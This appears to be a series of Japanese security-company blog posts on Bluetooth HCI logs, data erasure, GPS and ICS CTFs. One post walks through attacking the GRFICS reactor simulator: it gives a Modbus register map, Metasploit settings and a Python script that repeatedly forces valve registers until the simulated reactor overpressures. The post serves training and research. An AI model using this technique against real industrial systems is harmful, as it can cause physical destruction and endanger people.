はじめまして。ねこやなぎです。今回は身近な通信技術「Bluetooth」の話です。
Bluetoothには、使用目的に応じた多数のプロファイルが用意されています。主なプロファイルはIoT機器で使用されるGATT(Generic attribute profile) 、マウスやキーボードを接続するときに使用されるHID (Human Interface Device Profile)、ワイヤレスで音楽を聞くときに使用されるA2DP(Advanced Audio Distribution Profile)、ハンズフリー通話をするときに使用されるHFP(Hands-Free Profile)などです。特に、ワイヤレスイヤホンを使用している人にとってはA2DP/HFPはとても身近な存在だと思います。
2020年1月に行われた世界最大のエレクトロニクスショーCES 2020では、Bluetoothの新たな音声伝送規格「LE Audio」をまもなくリリースすると発表されました。LE Audioは、SBCに代わる高音質コーデックLC3への対応、音声のマルチストリーム伝送、ブロードキャストの対応など様々な改良が行われています。
ところで、この新規格の名称に含まれている「LE」はBluetooth 4.0から追加されたBluetooth Low Energy (BLE)から来たものですが、「お店にはBluetooth 5.0に対応したイヤホンがとっくに販売されているのに、どうして今更LEなんて名前をつけたのか」と違和感を感じた方もいるかもしれません。
実は、Bluetooth 4.0より前に標準化されたプロファイル(A2DP/HFPなど)は、製品が準拠するBluetoothのバージョンがいくつだとしても従来から存在するBluetooth BR/EDRの物理層上で動作しています。LE Audioは、このようなプロファイルを、BLEの物理層上で音声データのやり取りをできるようにする規格であるため、「LE」という名前が含まれているのだと考えられます。
上記の理由で、A2DP/HFPなどが利用できる製品にはBR/EDRが使用できるモジュールが搭載されています。逆にBLEのみの通信が可能なシングルモードのモジュールを搭載した製品ではA2DP/HFPなどのプロファイルは利用できません。Bluetooth BR/EDRはBluetooth Classicとも呼ばれていますが、(今のところ)決してBLEに取って代わられたレガシーなものではなく、むしろ日常生活には無くてはならない通信規格です。
では、実際にBluetoothイヤホンがBluetooth BR/EDRで通信をしているかどうかを確かめてみましょう。ここでは、Pixel4と3000円前後で購入したBluetooth 4.1準拠のワイヤレスイヤホンを接続し、音楽を再生するケースで試します。通信の確認方法として主なものは以下の2つです。
Snifferは自分宛以外のパケットを含む全てのパケットを受信するための機器で、送信されたBluetoothの生のパケットを確認できます。BLEのSnifferは3000円程度、Bluetooth BR/EDRのSnifferは1万5000円程度から購入できます。
Bluetooth機器は周波数ホッピングしながら通信を行うため、同時に複数のチャネルを解析できないSnifferを単独で使用した場合、解析対象機器の通信を追跡できなくなることがたびたび発生します。複数のSnifferを同時に使用する、周波数ホッピングのタイミング予測機能を搭載したSnifferを使用する、複数チャネルの同時受信が可能な本格的なプロトコルアナライザを購入するなどすると、こういった問題を回避してストレスなく解析ができるようになります。特に、Bluetooth BR/EDRを使用する機器を解析したい場合は、安価なSnifferでは十分な品質でパケットを取得できないため、多少値が張りますが(数十万円以上)、本格的なプロトコルアナライザを購入することをおすすめします。
Bluetoothのアーキテクチャはラジオやベースバンド部分の処理を担当するControllerと、アプリケーション寄りの処理を担当するHost部に分かれます。HostとControllerはHCI(Host Controller Interface)と呼ばれる物理的にUARTやUSBで接続されたバスを経由して通信しており[1]、このバスでやり取りされる通信を取得することで、端末間で送受信されたデータを推測することができます。HCIスヌープログではBluetooth機器間の通信以外にBluetoothモジュールの内部処理について知ることができます。
機器が実際にBR/EDRで通信しているかを確かめるという観点では本来はSnifferで確認すべきですが、今回はHCIスヌープログ機能を使って通信内容を見てみます。
Androidの開発者オプションからHCIスヌープログの取得を有効にし、ワイヤレスイヤホンと接続します。その後、保存されたログをadb pull
コマンドかbugreport
コマンドで取得します。
HCIのパケットフォーマットは以下の4つが存在します。
Type | 概要 |
---|---|
HCI Command | HostからControllerへ指示するときに使用される |
ACL Data | 一般的なデータ転送に使用される |
SCO Data | 通話中の音声データの転送に使用される |
HCI Event | ControllerがHostへ応答、通知をする時に使用される |
基本的な流れとしては、HostがControllerへコマンドを発行し、それに対してControllerがHostへイベントを返す形で通信が行われます。A2DPなどでリモートホストと通信が開始されるとACL Dataで上位プロファイルのデータがやり取りされ始めます[2]。
ログを先頭から読んでみると、HCI_ResetコマンドによるControllerの初期化後、バッファーサイズ、Controllerのバージョン、Bluetoothアドレスの読みとり、各種設定の書き込みなどが数十ミリ秒続いています。初期設定が完了したのち、BD/EDRおよびLEで付近のデバイスの検索処理が始まります。
スキャンを開始してまもなく、多数のBLEアドバタイジングパケットに紛れて目的のワイヤレスイヤホンからの応答がありました。Event Codeは Extended Inquiry Result でした。これはLEではなく、BR/EDRコントローラがリモートデバイスからの応答を受信した時に発生するイベントです。
HCI_Create_Connection コマンドが発行され、Pixel4とワイヤレスイヤホンが接続されます。HCI_Create_Connection はBR/EDRでデバイスと接続する際に使用されるコマンドであるため(LEで接続する場合は HCI_LE_Create_Connection が使われる)、ワイヤレスイヤホンとの接続はBR/EDRで行われていることが分かります。
さらに HCI_Read_Remote_Supported_Features のイベントからは、このワイヤレスイヤホンのControllerはそもそもBluetooth Low Energyに対応していないことが分かります。
HCI_Read_Remote_Supported_Features の部分に関しては、Bluetooth 5.0に準拠した別の完全ワイヤレスイヤホンとNexus5X(Android 8.1)の組み合わせでも確認しました。結果、こちらのイヤホンはBR/EDRとBLE両方に対応しているモジュールを使用していました。BLEのSnifferで確認するとGATTサーバが動作しており、Battery Service Profileのほか3つのサービスの存在が確認できました。イヤホンに接続した時に、Android端末側にワイヤレスイヤホンのバッテリーレベルが表示されますが、これはBattery Service Profileではなく、AppleがHFPに独自に拡張した機能を利用しているようです。少なくとも私が確認した環境では、BLEを使用してBattery Service Profileにアクセスしてはいないようでした。そのためBLEの機能は左右のイヤホン間での通信に使用していると思われます。もちろんA2DPの通信は、BR/EDRで行われています。
上記から、Bluetooth 4.0以降の仕様に対応した製品であっても、ワイヤレスイヤホンなどの従来のプロファイルの通信はBR/EDRで動作していることが分かりました。
唐突ですが、2019年8月頃に若干話題になったBluetoothの脆弱性(CVE-2019-9506)についてHostとControllerそれぞれでどのような対策をしたのかについて話します。
KNOB attackは、Bluetoothの暗号鍵の長さをネゴシエーションするプロトコルの脆弱性を突き、中間者攻撃を仕掛けることでBD/EDRの場合は鍵長を1バイト、LEの場合は7バイトまで短くすることができる攻撃です。
鍵長が1バイトということは容易にブルートフォースによる鍵探索が可能になります。さらに、BR/EDRは接続の度にネゴシエーションが発生するため、攻撃を行う機会を多く得ることができます。仮に、そのような攻撃を行うツールや環境を攻撃者が揃えることができたとすると、例えば喫茶店で重要な会議の録音データの音声をBluetoothイヤホンで聞いているサラリーマンなどは攻撃者の格好の獲物になりかねません。
脆弱性の原因は、ネゴシエーションが平文で行われていること、仕様上短すぎる(1バイト)鍵長を選択できたこと、鍵長が要求されるセキュリティレベルに対して適切かどうかを検証する仕組みについて規定されていなかったことなどが挙げられます。
脆弱性への対応として、Bluetoothの標準化団体からは仕様書のエラッタが発行されました。対策はBR/EDRの場合と、BLEの場合で異なります。
幸い、通信する機器の片方にパッチが充てられていればこの脆弱性の影響を受けないため、スマホのソフトウェアを最新版にアップデートをしておけば特別心配することはないでしょう。
ちなみに前項で使用したPixel4とイヤホンのHCIログを見ると、ネゴシエーションと暗号通信の開始後に HCI_Read_Encryption_Key_Size コマンドが発行されているため、Host側はしっかりと暗号鍵の長さを確認しているようです。
BluetoothのHostとControllerの関係を理解すると、Bluetooth機器のデバッグや、IoT機器のセキュリティ調査を効率的に進めることができます。是非、お手持ちの端末で試してみてください。
仕様上、HCIはオプション扱いのため、実装によっては存在しないこともありえます。↩︎
詳細はCore Specification 5.1 では Vol.2 Part Eに書かれています。↩︎
お久しぶりです。ν(ニュー)です。
諸事情でしばらく書けていなかったのですが、復帰です。
今回は最近の動向からも注目されている「データ消去」に関する話です。
先日「官公庁向けに利用された後、廃棄されたHDDがオークションに出品された」という事件がありました。「史上最悪の流出事件」などと言われていますが、実際このようなことは中古市場ではよくある話だと思っています。
実際、他の中古品やジャンク品をよく買う人からも「前の人のデータが消えてなかったんだけど!」といった話を聞いたことが複数回あります。
スマートフォンの場合はオークションサイトで「パスロック」などのキーワードで検索すると、そこそこの数の出品を確認することができます。
パスワードロックがかかっているということは、内部データが消去されていない状態といえます。
データ消去は、PC等の機器を廃棄する際に行われる作業です。この際「単にファイルをすべて削除してもダメ」ということは、よく知られていることだと思います。
上記以外の消去方法は、大きく分けて2種類あります。
前者は再利用が可能ですが、消去漏れが発生するケース(不良セクタがあった場合等)が存在します。 後者はより安全な方法といえますが、再利用は不可能です。
近年、SSDなどのフラッシュメモリを使った記憶媒体が急速に普及しています。これらの記憶媒体に対してデータ消去を行う際は、特性を理解した上で実施する必要があります。
フラッシュメモリを使った記憶媒体の特徴は以下の通りです。
これらの特徴で問題になるのが「不良ブロックが出ることが考慮されている」「自己暗号化機能の存在」の2つです。
一度不良ブロックになってしまうと、ユーザーがその領域に手を出すことは事実上不可能になってしまいます。しかし、フラッシュメモリに直接アクセスし、不良ブロックから意味のあるデータを読み出すことは困難ですが、不可能とは言い切れません。
また、自己暗号化機能は正しく使われていればセキュリティを向上させる機能ですが、一部の実装には脆弱性があることが確認されています。
JVNVU#90149383:自己暗号化ドライブ製品における複数の脆弱性 https://jvn.jp/vu/JVNVU90149383/
そのため、ハードウェアによる自己暗号化機能を信用しないというポリシーに切り替えたものもあります(BitLockerなど)
上記の点から分かる通り、考慮するべきことがHDDに比べて多くなります。そのため、フラッシュメモリを使った記憶媒体におけるデータ消去は物理破壊がより安全といえます。
組み込みシステムの場合は、さらにデータ消去が難しくなります。
なぜなら組み込みシステムにおけるデータ消去は、メーカーが指定した方法でしか行うことができないことが殆どだからです。つまり、メーカーが指定した方法によるデータ消去を信用して実施することになります。
仮に、正しくデータが消去されていない状態で中古市場に流れてしまった場合、セキュリティリスクになる可能性があります。この「メーカーが指定した方法」が正しい方法で消去が行われていることを確認することは、ファームウェアの解析や内部データの抽出による確認などでしか行えません。
弊社では「IoT機器ペネトレーションテストサービス」を提供していますが、お客様のご要望があれば
といった点についても調査することが可能です。
どーも bubobubo です。
ブログの締め切りが近いため、日ごろからストックしているネタを小出しにしてお茶を濁したいと思います。
かつては一部のアウトドア愛好家やガジェットマニアが使っていたGPSですが、今や誰もが「GPS受信機があれば現在位置がわかる」ことを知っているはずです。
しかし、測位衛星はどのような信号をGPS受信機に送っているのか、どのようなメカニズムで現在地を算出しているのかまで正確に知っている人は少ないと思います。
我々がGPS(Global Positioning System)と呼んでいるものは、正しくは「アメリカが管理運用している」衛星測位システムであります。他にはロシアのGLONASS、欧州連合のGalileo、中国のBeiDou、インドのIRNSS、日本の準天頂衛星システムQZSS(みちびき)が挙げられます。
今日では、携帯電話の通信網を通じて補助データを送る補助GPS(A-GPS)や、Wi-Fiのアクセスポイントを利用することで、さらなる精度向上が図られています。これらをまとめて説明しようとすると、いつまでたっても本題に入れないため、本稿ではGPSのみ解説します。
まず、GPS衛星が行う測位信号の伝達は「放送」であって、無数に存在するスマホなどのGPS受信機とは個別に「対話」していません。1つのGPS衛星は、同一時刻であればどのGPS受信機に対しても同じ情報を一方的に送っています。
地上にある主制御局は、GPS衛星に対して更新軌道情報をアップデートし続けているため、打ち上げた後は放置している訳ではありません(衛星側ではデータを作成していない)。
たまに「測位衛星を通じて全ての自動車にウイルスを送り込むことが可能」といった風説が流布されることがありますが、仮に測位衛星のジャックに成功したとして、任意の信号を放送できるようになったとして、さらに測位信号をプログラムと誤認するようなザル設計なGPS受信機だったと仮定しても、その伝送速度は50bpsしかありません。
また、GPS衛星は約2万キロメートルの高度にありますが、信号の送信電力は一般的な電球と同じ100W程度です。日本からブラジルまでの距離は約1.7万キロメートルであることを考えると、電波としてはとても微弱です。トンネルの内では受信できないのは当然でしょう。
GPS衛星から一方向に送られる信号の内容は、民生用のものは公開されており、暗号化もされていません。どういう信号が送られるかは公知であるため、タイミングを合わせると測位信号を受信できます。
GPS受信機の電源を投入してから現在地が表示されるまで、ある程度待たされることがあります。伝送速度は50bpsなので、GPS信号の捕捉と航法メッセージの受信に時間を要するからです。その待ち時間を緩和するために補助GPSなどが使われていますが、ここでは割愛します。
GPS衛星が放送している航法メッセージには、測位に利用できる全GPS衛星の軌道情報が記されている一覧情報である「アルマナック(Almanac)」と、自身の衛星が持つ詳細な軌道情報が記されている「エフェメリス(Ephemeris)」が含まれています。とても格調高そうな名前がついていますが、なんだかポケ○ンみたいですね(本当の意味はそれぞれ生活暦、天体暦)。
この航法メッセージ単体でわかるのは、対象となるGPS衛星1基の正確な座標と、衛星に搭載されている原子時計が指す正確な時刻であって、利用者が最も知りたい「GPS受信機の現在位置」はまだわかりません。
ここからは、受け取った航法メッセージをGPS受信機側で処理する必要があります。GPS衛星と受信機との電波距離の時間差を測定すると、電波の速度は光の速度と同じ(299,792,458m/s)なので、衛星との正確な距離がわかります。
この航法メッセージを4基以上(地表前提なら3基以上)の衛星から受信すると、3次元測位により現在位置(経緯度と標高)を割り出すことができます。もっと知りたい方はたくさんある解説サイトや文献をあたってください。
次回は、GPSハッキングの話を書くかもしれません。
こんにちは、かすたーど先生と申します。
ネットエージェントは、IoT機器ペネトレーションテストの仕事が体験できるインターンシップを開催しています。(詳しくはコチラ)
インターンシップでは、CTF形式で問題を出題しています。
ですが、インターンシップ参加者の方の中には「CTFの経験がない」という方も多かったりするので、今回のブログではマンガでCTFを紹介します!
いかがでしたか?
少しでも「CTFやってみようかな?」と思ったらぜひチャレンジしてみてください!
また、冒頭で紹介した「IoT機器ペネトレーションテスト体験」インターンシップは、本日より2月開催の募集を開始しました!こちらもよかったら見てみてください★
以上、かすたーど先生でした~。
※シミュレーターで。
ペンテスターの皆さん、工場をハッキングする準備は万端ですか?
実際に工場を買収して好きに💥爆発💥させたいところですが、残念ながら我が社には工場を買うお金がありません。
でも大丈夫!貧乏人のためにGRFICSという素晴らしいシミュレーターがあるのです。
僕の給料では工場を買えないので、いつか(合法的に)工場を攻撃する日を夢見てこれで練習します。
注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。本情報の悪用はしないでください。
GRFICSとは、PLCを通じて化学反応を起こすバイオリアクター(化学反応器)のシミュレーターです。
USENIXの ASE'18 で発表されたもので、作者いわくSCADAシステムのセキュリティ教育用に開発したとのことです。
論文
https://www.usenix.org/system/files/conference/ase18/ase18-paper_formby.pdf
発表スライド
https://www.usenix.org/sites/default/files/conference/protected-files/ase18_slides_formby.pdf
以下の3台構成となっています。
バイオリアクターのシミュレーター
HMIからの入力をもとにリアクターを操作するPLC
PLCから受け取った情報をもとにバルブやタンクの状態を表示するHMI
下記はシミュレーターの画面です。
シミュレーターではタンクA, Bの二つの原料を真ん中のリアクターに入力・混合し、Productタンクに排出する流れになっています。
PLCでは各タンクに繋がるバルブの開閉を通じて圧力の調整が可能で、シミュレーターの各モジュールからタンク圧力およびバルブ位置を取得します。
PLCは受け取った情報から各タンクが最適な圧力になるようバルブ位置を計算し、シミュレーターの各モジュールにバルブ位置を送信します。
なおシミュレーターの各モジュールとPLC、PLCとHMI間はどちらも、産業ネットワークではメジャーな制御通信プロトコルである「Modbus/TCP」でやりとりされます。
攻撃者の立場としては、何らかの方法でこのシステムにダメージを与えればクリアということになります。
GitHubに一式が用意されています。
https://github.com/djformby/GRFICS
3台のVMを立ててイチから構築することも可能ですが、怠惰な人向けに構築済みのOVAイメージを提供してくれているのでありがたく利用します。
それぞれのVMのOVAイメージをGoogleドライブからダウンロードします。
PLC VM (MD5 checksum ad121c6afad99784f7178eb8b98f9853):
https://drive.google.com/open?id=1lktm8odvJmWowOYUq5VwzLTtKVwCb8yF
Simulation VM (MD5 checksum e59b65222d9da143fe13118635caa1d5):
https://drive.google.com/open?id=1ZN7u_WPUGHsEeos09NITpLImbeU9LKpI
HMI VM (MD5 checksum 6c27e87c742d75580c1bd05119e0d348):
https://drive.google.com/open?id=1MJpiA-yt89xgTCYVJocddhE4_OUvvWG4
※上記のURLは変更される可能性があります。最新のURLは GitHub の README.md を参照してください。
VirtualBoxの環境設定からホストオンリーアダプタを作成し、IPv4アドレスを 192.168.95.1 に設定します。
ダウンロードしたOVAイメージをインポートしたあと、各VMの設定からネットワークを参照し、ホストオンリーアダプタが設定されていることを確認しOKで閉じます。
全てのVMを起動します。
※どのVMもユーザ名「user」、パスワード「password」となっています。
userでログインしデスクトップ画面が表示されたら、ターミナルを2つ起動します。
ターミナルAにてシミュレーターGUIを起動します。
user@simulation:~$ cd HMI_Simulation_Ubuntu1604_15_x86_64/
user@simulation:~/HMI_Simulation_Ubuntu1604_15_x86_64$ sudo ./HMI_Simulation_Ubuntu1604_15_x86_64.x86_64
※画面解像度・品質の設定画面が表示されますが、1024x600 以上がオススメです。品質は任意で。
テキスト入力欄に「/home/user/simulation/simulation」と入力し、Run Serverをクリックします。
次にStart を押し、リアクターと各タンクの圧力表示がいい感じになっていれば大丈夫です。
※Run Serverが失敗すると、各テキストの表示が数値ではなく「Text」という表示になります。
そうなったらもう一度試したりVMを再起動したりしてやり直してください。
※バルブ開度の初期値は排出よりも入力の方が大きいです。
そのためPLCを起動しないままこの状態で放置するとリアクターの圧力が高まり、最終的にはリアクターが圧力に耐えきれず爆発します。
ターミナルBで、PLCとやりとりするためのサーバを立ち上げます。
user@simulation:~$ cd simulation/remote_io/
user@simulation:~/simulation/remote_io$ sudo bash run_all.sh
userでログインしプロンプトが表示されることを確認します。
OpenPLCサーバを立ち上げます。
user@plc:~$ cd OpenPLC_v2
user@plc:~/OpenPLC_v2$ sudo nodejs server.js
"Working on port 8080"と表示されたらOKです。
userでログインしデスクトップ画面が表示されたら、ターミナルを起動します。
wineコマンドでHMIを起動します。
user@hmi-station:~$ wine HMI/AdvancedHMI.exe
起動後、各バルブの表示がいい感じになっていれば大丈夫です。
また、PLCにはWebコンソールが存在します。HMIからWebコンソールにアクセスしてみましょう。
WebコンソールのURLは http://192.168.95.2:8080/ です。
このコンソールではPLCの稼働・停止のほか、ログの確認やPLCプログラムの書き換えが可能です。
上記で設定は終了です。
リアクターの圧力やバルブのパーセンテージがなだらかに上がったり下がったりする様子をみて侘び寂びを感じましょう。
シミュレーターとHMIとでバルブや圧力(kPa)の数値が若干異なるようですが、多分仕様だと思います。
シミュレーターとPLCのオーケストレーションを感じたところで、さっそくこいつを破壊してみます。
GRFICSの最終目標としては、リアクターを爆発させることみたいです。
どうすれば爆発するのでしょうか。
ここでGRFICSの作者による論文に記載してある、攻撃者のアプローチを見てみます。
Lowering the Barriers to Industrial Control System Security with GRFICS https://www.usenix.org/conference/ase18/presentation/formby
作者は論文内でこのように記述しています。
who is attacking the system succeeds in forcing the pressure in the reactor vessel to exceed the safety limit of 3200 kilopascals, an explosion effect plays on top of the reactor vessel followed by fire effects, illustrated in Figure 8.
リアクターの圧力が3200kPaを上回れば爆発するようです。
ならば圧力を上げるにはどうすればいいでしょうか。入力>排出 となるようにバルブの位置を変えればいいのです。
このようなバルブの位置を操作するためのアプローチとして、作者は以下のシチュエーションを想定しています。
HMIに侵入しPLCを操作する
パスワードが弱いことを利用してHMIに侵入し、Webコンソールを利用してPLCを操作します。
PLCをぶっ壊す
PLCが利用しているModbus実装のlibmodbusは、バッファオーバフローの脆弱性があるバージョンのようです。
これを利用してPLCをぶっ壊し、制御不能にします。
Modbus通信に不正なデータを挿入する
HMI・PLC間、およびPLC・シミュレーター間はどちらもModbus/TCPによって操作されます。
Modbusで圧力・バルブの管理しているレジスタを特定できれば不正な操作が可能です。
※他にもPLCのWebコンソールから悪意のあるラダー図を送り込んで操作する方法もありますが、割愛します。
攻撃aはとても簡単です。パスワードを特定してログインしたあと、圧力の上昇過程(バルブが入力>排出となっている状態)でPLCのWebコンソールを用いてPLCを停止すればいいのです。
攻撃bもModbusの実装・バージョンが特定できれば簡単です。(調べたらexploit出てきました)
個人的に興味が湧いたのは攻撃cの不正なデータの挿入です。
この攻撃の大きなメリットはステルス性にあると考えます。
攻撃aは侵入後、PLCのWebコンソールからPLCを停止することで攻撃が可能ですが、正常に停止するため管理者にすぐに検知・修復されてしまいます。
また攻撃bに関してもPLCが異常停止するとアラートが発報されるはずなので、管理者によってすぐに再起動されます。
ただ攻撃cは違います。裏で攻撃プログラムをひっそり動かし、シミュレーターに対してバルブを開く通信を出すだけなので、PLCの状態に依存しません。
HMI・PLCが通常通り動いているのにバルブが勝手に開き圧力がどんどん上がっていくので、管理者が慌てふためき、手遅れな状態になることが想像できます。
ということで今回はこの攻撃を試してみます。
※ここから先はネタバレです。自分で試したい人は頑張ってください。
Attackerからバルブモジュールに通信が可能であること
今回はネットワークに侵入できたとして、Attackerから直接シミュレーターの各バルブモジュールにアクセスができる必要があります。
ただ今回は幸いにも同じサブネットでありファイアウォールも構成されていないので条件はクリアです。
バルブモジュールを操作するための各情報を知っていること
今回、バルブの位置をモジュールに知らせるために Modbus/TCP が使われています。
各モジュールはそれぞれIPアドレスが割り当てられており、Modbusサーバが稼働しています。
またModbusは モジュールの識別のために UNIT ID が存在します。
通常のModbusではUNIT IDは通常利用されず0や1に固定されますが、実装によっては別のUNIT IDが割り当てられていることがあります。
次にバルブ開度に関するレジスタの特定です。
Modbusはファンクションという機能があり、一般的に以下が定義されています。
Coil
Input Status
Holding Register
Input Register
Modbusはこれらのファンクションに対して、Read/Writeの操作が可能です(Coilは状態操作なのでON/OFFが切り替わる)。
バルブ開度の操作は全閉から全開までの範囲の値をとるものであり、アナログの出力となるのでHolding Registerと想定されますが、どの値をとりうるかは実装に依存します。
この攻撃で一番の壁となるのはこの値の特定です。
特定を行うには複数の方法が考えられます。
PLCのラダープログラムを窃取
PLC・バルブモジュール間のModbus通信を盗聴
仕様書を窃取
ネットワークスキャンを行い、Modbusサーバを特定したうえでレジスタを総当たりでスキャン
1はPLCサーバに侵入することで可能ですが、今回はPLCに入らない前提で考えます。
2はPLCサーバに侵入、あるいは通信路でMITMをすることで可能です。
3, 4 は業務ネットワークに侵入することで可能です。
今回は幸運にも仕様書が窃取できます。GitHubに大変貴重な仕様書が存在するのです。
GRFICSのリポジトリに意味深なドキュメントが存在するので見てみましょう。
https://github.com/djformby/GRFICS/blob/master/modbus_documentation.txt
GRFICS Modbus Mapping
REMOTE MODBUS IO DEVICES
192.168.95.10 - feed 1
holding register 1 - valve position set point 0-65535, where 0 is closed and 65535 is open
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.11 - feed 2
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.12 - purge valve
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.13 - product valve
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.14 - tank
input register 1 - pressure
input register 2 - level
192.168.95.15 - analyzer
input registers 1-3 composition of gases in reactor
The PLC polls all of the remote IO, uses the measurements for its control algorithm,
and reports scaled values back to the HMI (192.168.95.3) for display
192.168.95.2 - PLC
holding registers being polled by HMI
1044 - reactor pressure
1045 - reactor liquid level
1046 - feed 1 valve position
1047 - feed 1 flow rate
1048 - feed 2 valve position
1049 - feed 2 flow rate
1050 - purge valve position
1051 - purge flow rate
1052 - product valve position
1053 - product flow rate
これを読むと 192.168.95.10 - 13 が各バルブモジュールのIPアドレスであり、Input Register 1 を読むことでバルブの位置が取得でき、Holding Register 1 を書くことでバルブの位置を変更できるようです。
バルブの位置を変える前に、タンクAに繋がるバルブの位置が取得できるかを確認します。
タンクAのバルブモジュールは、上記のドキュメントにあるfeed1に対応しています。
今回は標的ネットワークに侵入できたという想定なので、同一サブネット上にKali Linuxを召喚します。(ユルシテ・・・)
さて、Modbusクライアントをどうするかですが、まずは単発で送るので、個人的に気に入っているツールである ctmodbus を使いました。(MetasploitのmodbusclientはInput Registerを読めない・・・)
まずはタンクAのバルブモジュールに接続します。
ctmodbus> connect_tcp 192.168.95.10
接続に成功すると、Successの表示がされます。
まずは Input Register 1 を読んでみます。このときのバルブの状態は0%でした。
ctmodbus> read_input_registers 1
値「0」が返りました。
次にバルブの状態が100%になったときに再度 Input Register 1 を読んでみます。
値「ffff」が返りました。正常にバルブの値が取れていることがわかります。
ちなみに、ctmodbus がリクエストするときのUNIT IDの値は「1」となっており、変更はできません。
ただ今回はUNIT IDが1でも正常に読めているので問題ありません。
読み込みができたので書き込みもできるに違いありません。
試しにバルブ位置が0%の状態で Holding Register 1 に値を書き込んでみます。
ただし注意点として、今回は本来のPLCが最適なバルブ位置、つまりここでは0%になるように定期的にバルブモジュールに対してModbus通信を流していることに留意してください。
つまり攻撃時は1回の送信だけではなく、本来の通信に勝つように何度も送り続ける必要があるのです。
というわけで、ctmodbusを使って手動で指を酷使して通信を送り込んでみました。
残念ながら何度試しても100%になりませんでした😭😭
ちょっと待ってください!今回送ったのは Write Single Register です。もしかしたら Write Multiple Register なら反応するかもしれません!
ただctmodbusで Write Multiple Register を送る場合はトリッキーな方法が必要なので、今回はMetasploit の modbusclient を使って試します。
以下のようにオプションを設定しました。
msf5 auxiliary(scanner/scada/modbusclient) > options
Module options (auxiliary/scanner/scada/modbusclient):
Name Current Setting Required Description
---- --------------- -------- -----------
DATA no Data to write (WRITE_COIL and WRITE_REGISTER modes only)
DATA_ADDRESS 1 yes Modbus data address
DATA_COILS no Data in binary to write (WRITE_COILS mode only) e.g. 0110
DATA_REGISTERS 65535 no Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4
NUMBER 1 no Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)
RHOSTS 192.168.95.10 yes The target address range or CIDR identifier
RPORT 502 yes The target port (TCP)
UNIT_NUMBER 1 no Modbus unit number
Auxiliary action:
Name Description
---- -----------
WRITE_REGISTERS Write words to several registers
いざ!
できました。
一瞬ですが 0% から 100% になり、本来のPLCによってすぐに0%に戻されました。
先の内容から、Write Multiple Register を使えばバルブの位置を変更できることがわかりました。
ここで改めて、どうすればリアクターが爆発させられるかをまとめましょう。
爆発させるためにはリアクターの圧力を 3200kPa にすればよい
圧力をあげるには、リアクターの状態が 入力>排出 となるようなバルブの位置にすればよい
入力>排出 にするためには、入力のバルブ開度を100% に、排出のバルブ開度を0%にすればよい
よって、タンクAバルブ、タンクBバルブの開度を100%、Productバルブの開度を0%にすればよい
ということで、3つのバルブの状態を、本来のPLCに負けないように高頻度に送り続けることにします。
ただ3つのバルブの操作を手動で送信し続けるには手が足りないし、腱鞘炎になってしまいます。
こんな時は自動化です。幸いにもPythonにはpyModbusという素晴らしいライブラリがあるので、これを使ってexploitを書いてみます。
import time
from threading import Thread
class ModBus(Thread):
def __init__(self, host, port, unit_id, data, interval, debug=False, **kwargs):
super(ModBus, self).__init__(**kwargs)
self.host = host
self.port = port
self.unit_id = unit_id
self.data = data
self.interval = interval
self.isDebug = debug
def run(self):
self.bus = ModbusClient(host=self.host \
,port=self.port \
,unit_id=self.unit_id )
self.bus.debug(self.isDebug)
self.bus.open()
if not self.bus.is_open():
raise Exception()
while True:
if self.bus.is_open():
self.bus.write_multiple_registers(1, [self.data])
time.sleep(self.interval)
def main():
INTERVAL = 0.05
#TankA valve
ModBus(host="192.168.95.10", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()
#TankB valve
ModBus(host="192.168.95.11", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()
#Product valve
ModBus(host="192.168.95.13", port=502, unit_id=1, data=0, interval=INTERVAL, debug=True).start()
if __name__ == '__main__':
main()
早速やってみます。
実行後、タンクAバルブ、タンクBバルブが100%に、Productバルブが0%になり、圧力が急上昇していきます。
ゲージがどんどんあがっていきます。
終
制作・著作
━━━━━
ⓈⒽⓊ
※論文では3200kPaと書いてありましたが、3100kPaで爆発しました。
はじめまして、boatです。会社から何か書けと言われ、IoT製品をハックした話でもしようかと思ったのですが、このご時世では中々グレーゾーンな話な気がしたので、今回は簡単にCODE BLUE 2019に参加した話をしていきます。
まず、CODE BLUEとは
最新のセキュリティ情報の交換と交流を促進する国際会議
引用:https://codeblue.jp/2019/
らしいです。
しかし、私自身参加したものの、公演も聞いていなければ、セキュリティ情報の交換、交流など全くしませんでした。
この会議の開催期間中に行われていたICS Cyber Hacking Challengeに参加していたからです。
なお、情報の交換や交流が出来なかったのは社会性が全くないからですが、これで良いのかといつも思います(思うだけ)。
ICS Cyber Hacking Challengeは産業用制御システム(Industrial Control System : ICS)に焦点を置いたCTFで2日間戦います。ただ、実際の物を使えるわけがないので、コンテストでは仮想の都市に対して攻撃しました。
話は逸れますが、この都市は見た目や触り心地から3Dプリンターで生成されていると思われ、作るのに時間かかったんだろうなぁと感心します(上から目線)。私もIoTやICS、その他諸々のセキュリティ対策を学ぶために、こういった仮想環境を作りたいです。誰でもいいので3Dプリンタを下さい(頼む!)。後、東京タワーやガ〇ダムなどがあることから、スマート化した東京を想定しているのでしょうか。考えすぎでしょうか。とりあえず、ガ〇ダムかっこいいです。塗装するので私に下さい。
さて、話を戻します。この都市の信号機, 路上のLED, 電車等はプログラマブルロジックコントローラ (PLC)で制御されています。PLCとは主に産業機器で使用される制御装置です。この都市ではPLCを無線のリモコンで操作することが可能でした。私たちはこのような都市に対し無線のリモコンや、ゲートウェイを通して制御システムを乗っ取っていきます。
問題の詳細は省きますが、リモコンの通信解析はソフトウエア無線のツールであるGNU Radio Companionを用いました。本コンテストで初めて触ったのですが、Scratchのような直感的な操作が可能で電波の送受信に便利です。
GNU Radio Companion公式wiki
https://wiki.gnuradio.org/index.php/GNURadioCompanion
その他の問題では、実際にPLCのプログラミング言語であるラダー図を読むなど異色のCTFでした。ともあれ、2日に渡る挑戦の結果、複数の国内外チームを押しのけて優勝することが出来ました。
時は流れ、CODE BLUEの最後には懇親会があります。ここは交流するチャンス!と思ったのですが、結局はご飯を大量に食した後、速攻で帰りました。しかも、この開催期間中に名刺を一枚も交換すらしていません。やはり、私に社交は早すぎました。
以上、CODE BLUEの報告でした。
